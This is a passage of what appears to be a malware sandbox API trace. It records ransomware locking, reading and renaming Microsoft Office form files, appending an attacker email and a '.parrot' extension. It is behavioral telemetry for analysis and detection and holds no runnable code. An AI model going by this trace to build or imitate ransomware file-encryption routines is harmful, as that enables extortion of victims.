lpNewFilePointer=0xffffffff) returned 1 [0184.416] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.417] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.417] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.418] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.418] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.418] CloseHandle (hObject=0x27c) returned 1 [0184.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONFLICT.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\conflict.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268c30 | out: hHeap=0x5b0000) returned 1 [0184.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.420] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0184.422] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x427, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.422] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.422] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.424] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.424] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x30f, lpOverlapped=0x0) returned 1 [0184.424] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.424] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x427, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.424] CloseHandle (hObject=0x27c) returned 1 [0184.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACT.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contact.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268c30 | out: hHeap=0x5b0000) returned 1 [0184.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.428] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0184.429] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.429] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.429] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.431] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.431] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.431] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.432] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.432] CloseHandle (hObject=0x27c) returned 1 [0184.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268c30 | out: hHeap=0x5b0000) returned 1 [0184.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0184.436] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.436] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.436] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.437] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.438] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.438] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.438] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.438] CloseHandle (hObject=0x27c) returned 1 [0184.438] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contacts.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268c30 | out: hHeap=0x5b0000) returned 1 [0184.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0184.442] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43d, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.442] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.442] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.444] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.444] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x325, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x325, lpOverlapped=0x0) returned 1 [0184.445] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.445] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.445] CloseHandle (hObject=0x27c) returned 1 [0184.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.449] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.449] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.450] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.451] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.451] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.452] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.452] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.452] CloseHandle (hObject=0x27c) returned 1 [0184.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.456] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.456] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.456] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.460] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.460] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.460] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.460] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.460] CloseHandle (hObject=0x27c) returned 1 [0184.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.464] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x415, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.464] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.465] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.466] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.466] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fd, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2fd, lpOverlapped=0x0) returned 1 [0184.466] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.467] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x415, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.467] CloseHandle (hObject=0x27c) returned 1 [0184.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.471] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.471] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.471] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.473] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.473] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.473] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.474] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.474] CloseHandle (hObject=0x27c) returned 1 [0184.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.478] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.478] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.478] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.480] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.480] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.481] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.481] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.481] CloseHandle (hObject=0x27c) returned 1 [0184.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.486] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x45e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.486] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.486] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.527] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.528] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x346, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x346, lpOverlapped=0x0) returned 1 [0184.528] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.528] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x45e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.529] CloseHandle (hObject=0x27c) returned 1 [0184.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.535] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.535] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.535] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.537] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.537] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.537] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.538] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.538] CloseHandle (hObject=0x27c) returned 1 [0184.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEML.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exiteml.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.544] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.544] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.544] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.546] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.546] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.546] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.546] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.546] CloseHandle (hObject=0x27c) returned 1 [0184.547] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.553] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x380, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.553] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.553] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.554] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.554] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x268, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x268, lpOverlapped=0x0) returned 1 [0184.554] SetFilePointerEx (in: hFile=0x27c, 